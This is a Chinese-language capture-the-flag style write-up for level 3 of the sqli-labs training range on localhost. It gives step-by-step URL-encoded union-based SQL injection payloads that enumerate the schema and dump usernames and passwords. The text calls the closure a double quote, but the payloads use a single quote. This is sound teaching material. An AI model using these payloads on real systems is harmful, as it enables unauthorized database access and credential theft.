标题:SQL注入之sqli-labs靶场第三关
目录:
1.寻找注入点
2.进行字段猜解
3.信息收集
4.sql注入
总结:
1.寻找注入点
http://localhost/sqli-labs/Less-3/?id=1%27)%20and%201=2--+
通过尝试发现注入点,使用双引号和)闭合,进行and 1=1 and 1=2 进行尝试
2.进行字段猜解
http://localhost/sqli-labs/Less-3/?id=1%27)%20order%20by%204%20--+
使用order by 进行字段猜解,发现字段数为3
3.信息收集
使用union联合查询进行回显点查询
发现会显点2,3
进行信息收集:
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,database(),user()%20--+
经过查询发现数据库名:security,用户为root
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,version()%20--+
版本号为:5.7.26
4.sql注入
爆破表名
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+
爆破字段名
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+
发现回显这么多字段名:Id,name,pass,flag,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username
可能是由于数据库中有同名不同库得表导致得
所以对security.users表进行查询,
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(Id,name,pass,flag,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username)%20from%20security.users)%20%20--+
通过报错内容对字段进行排查,筛选
http://localhost/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,(select%20group_concat(Id,0x3A,username,0x3A,password)%20from%20security.users)%20%20--+
最终查询出表中内容
总结
1.主要考察闭合方式 ’ 和)
2.order by 猜解字段数
3.union 联合查询
4.对MySQL数据库的information_schema库中的schemata,tables,columns,表的熟悉 标签:27,Less,labs,sqli,SQL,id,localhost From: https://blog.csdn.net/aihua002/article/details/141113670